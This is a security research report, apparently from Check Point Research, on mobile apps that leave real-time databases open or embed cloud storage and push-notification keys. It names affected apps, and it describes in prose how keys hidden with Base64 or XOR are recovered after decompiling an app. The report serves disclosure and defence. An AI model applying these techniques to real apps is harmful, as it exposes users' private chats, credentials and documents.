: Aviran Hazum, Aviad Danin, Bogdan Melnykov, Dana Tsymberg and Israel Wernik, Research by Intro Modern cloud-based solutions have become a standard in the mobile application development world. Services such as cloud-based storage, real-time databases, notification management, analytics, and more are simply a click away from being integrated into applications. However, developers often overlook the security aspect of these services, their configuration, and of course, their content. This research will describe the broad issue with misusing cloud-services – by both configuration and implementation – and portray the impact of “bad practices” on application developers and their users. Overview Check Point Research (CPR) recently discovered that in the last few months, many application developers put their data and users’ data at risk. By not following best practices when configuring and integrating 3rd party cloud services into applications, millions of users’ private data was exposed. In some cases, this type of misuse only affects the users, however, the developers were also left vulnerable. The misconfiguration put users’ personal data and developer’s internal resources, such as access to update mechanisms and storage at risk. In this research, CPR outlines how the misuse of real-time database, notification managers, and storage exposed over 100 million users’ personal data (email, passwords, names, etc.) and left corporate resources vulnerable to malicious actors. Misconfiguring Real-Time Database Real-time database allows application developers to store data on the cloud, making sure it is synched in real-time to every connected client. This service solves one of the most encountered problems in application development, while making sure that the database is supported for all client platforms. But what happens if the developer behind the app does not configure their real-time database with one of the most basic features – authentication? This misconfiguration of real-time databases is not new, but to our surprise, the scope of the issue is still far too broad and affects millions of users. All our researchers had to do was attempt to access the data. There was nothing in place to stop the unauthorized access from being processed. While investigating the content on the publically available database, we were able to recover a lot of sensitive information including email addresses, passwords, private chats, device location, user identifiers, and more. If a malicious actor gains access these data it could potentially result in service-swipes (ie. trying to use the same username-password combination on other services), fraud, and identity theft. Astro Guru, a popular astrology, horoscope and palmistry app with over 10 million downloads, had the same issue.  After users input their personal information including their name, date of birth, gender, location, email and payment details, Astro Guru provides a personal astrology and horoscope prediction report. Imagine losing sensitive data for a horoscope prediction! Storing personal information is one thing, but what about storing real-time data? This is what a real-time database is for. Through T’Leva, a taxi app with over 50,000 installs, we were able to access chat messages between drivers and passengers and retrieve users full names, phone numbers, and locations (destination and pick-up) – all by sending one request to the database. As mentioned earlier, this type of data exposure affects both developers and users. From the developer’s perspective, it is possible to alter the behavior of an app if actions are taken based on the data available on this type of platform. Moreover, most of the apps we have found had ‘read‘ permissions and ‘write’ permissions. This alone could compromise an entire application, not even considering the hit to the developer’s reputation, their user-base, or even their relationship with the hosting market. Push Notifications Push notification manager is one of the most widely used services in the mobile industry. Developers need to send push notifications to engage with users. For instance, push notifications are used to flag newly available content (like a new video posted), display chat messages, emails, and much more. Most push notifications services require a key (sometimes, more than one) to identify the identity of the request submitter. What happens when those keys are just embedded into the application file itself? While the data of the push notification service is not always sensitive, the ability to send notifications on behalf of the developer is more than enough to lure malicious actors. Imagine if a news-outlet application pushed a fake news entry notification to its users that directed them to a phishing page requesting that they renew their subscription. Since the notification originated from the official app, the users will not suspect a thing, as they are sure that this notification was sent by the developers. Cloud Storage Cloud storage on mobile applications is an elegant solution to access files shared by either the developer or the installed application. Let’s take, for example, two apps that we have found on Google Play. With over 10 million downloads, an app named “Screen Recorder” is used to record the device’s screen and store the recordings on a cloud service. While accessing screen recordings through the cloud is a convenient feature, there can be serious implications if the developers embed the secret and access keys to the same service that stores those recordings. With a quick analysis of the application file, we were able to recover the mentioned keys that grant access to each stored recording. The second app, “iFax”, not only had the cloud storage keys embedded into the app, but also stored all fax transmissions. After analyzing the app, we found a malicious actor could gain access to all documents sent by more than 500k users who downloaded this application. For ethical reasons, CPR did not access the storage account with the keys. We pulled evidence through the actual code of the apps to showcase that this type of sensitive information is accessible. Cover ups Many developers know that storing cloud services keys in their application is bad-practice. After analyzing dozens of cases, we found a few examples of keeping this issue “out of sight, out of mind” – ie. developers tried to “cover-up” the problem with a solution that did not fix the problem. Hiding the keys Below are a few examples of such misuse of cloud services keys. After inspecting a publicly available application with a free open source tool like “Jadx”, we can take a look into the application’s code and see the developer’s logic. In the example below, the developer used a Base64 encoding in order to hide the key. Base64 is not only reversible, it also does not have a need for any shared secret. All we had to do was to take the same line of code, and just print the outcome of the decoding function, in order to be provided with the app’s keys. Even if the application’s does not use clear-text keys, all that is needed is to find the piece of code that initialize the cloud service interface, which mostly receives those keys as parameters, and follow their value. Eventually, if the keys are embedded into the app, we will get their value. Vulnerable malware To emphasis that this a developer issue, we researched mobile malware developers that implemented bad practices into their mobile malware. Let’s take a look at the that Check Point Software previously reported on. CopyCat malware The CopyCat malware stores their cloud service credentials inside a class file, while its XOR encoded.  A quick analysis of the malware application allowed us to uncover the keys for the cloud-storage service that CopyCat use, and allow us to, if we wanted, to alter all of the data that exists on the storage. This storage is used for a few key components of the malware – as a hosting service for malicious payloads that are downloaded by CopyCat, and even as an update utility for the malware components. How to protect yourself Check Point Harmony Mobile is the market-leading Mobile Threat Defense (MTD) and Mobile App Reputation Service (MARS) solution, providing the widest range of capabilities to help you secure your mobile workforce. Check Point Harmony Mobile MARS solution automatically scans and identifies mobile security threats and vulnerabilities. Learn more Appendix 1 – Vulnerable Applications: Google Play Installs Data Breached Vulnerability 10M+ Personal Chat messages Exposed Realtime DB 10M+ Group info, Chat messages Exposed Realtime DB 10M+ User’s messages Exposed Realtime DB 10M+ Chat messages Exposed Realtime DB 10M+ Browser history with complete urls, Can identify person browser history and get credentials from URL Exposed Realtime DB 10M+ Chat messages Exposed Realtime DB 10M+ Phone number, Name, email, profile images Exposed Realtime DB 10M+ Device id, facebook id, nickname, text message Exposed Realtime DB 10M+ emails and pincode Exposed Realtime DB 10M+ email, username and clear text passwords Exposed Realtime DB 10M+ Users information like location Exposed Realtime DB 50k+ Private chat and location Cloud-Storage keys embedded 10M+ Contains user screen records Cloud-Storage keys embedded 500K+ logs, test apps, billing reports, websites data, invoices Cloud-Storage keys embedded 500K+ website, user profiles, reports, users documents Cloud-Storage keys embedded 500K+ website, receipts, images, users backups Cloud-Storage keys embedded 100K+ other apps, website, profiles, images, mobile apps (debug version) Cloud-Storage keys embedded 100K+ uploads, images Cloud-Storage keys embedded 100K+ shared recording from users, Notification Push Keys embedded 100K+ remove subscribers, send push notifications, etc.. Exposed Realtime DB 50K+ personal data (names, mails, phone numbers) Cloud-Storage keys embedded 50K+ dev, qa, staging, logs, admin back up Cloud-Storage keys embedded 10K+ admin site, user photos and images Cloud-Storage keys embedded,Exposed Realtime DB

Stories, News & Mentions about CHECKPOINT

Categories

Trending Topics

Stories, News & Mentions about CHECKPOINT

Checkpoint’s Stories on HackerNoon

Checkpoint's News & Mentions

Categories

Trending Topics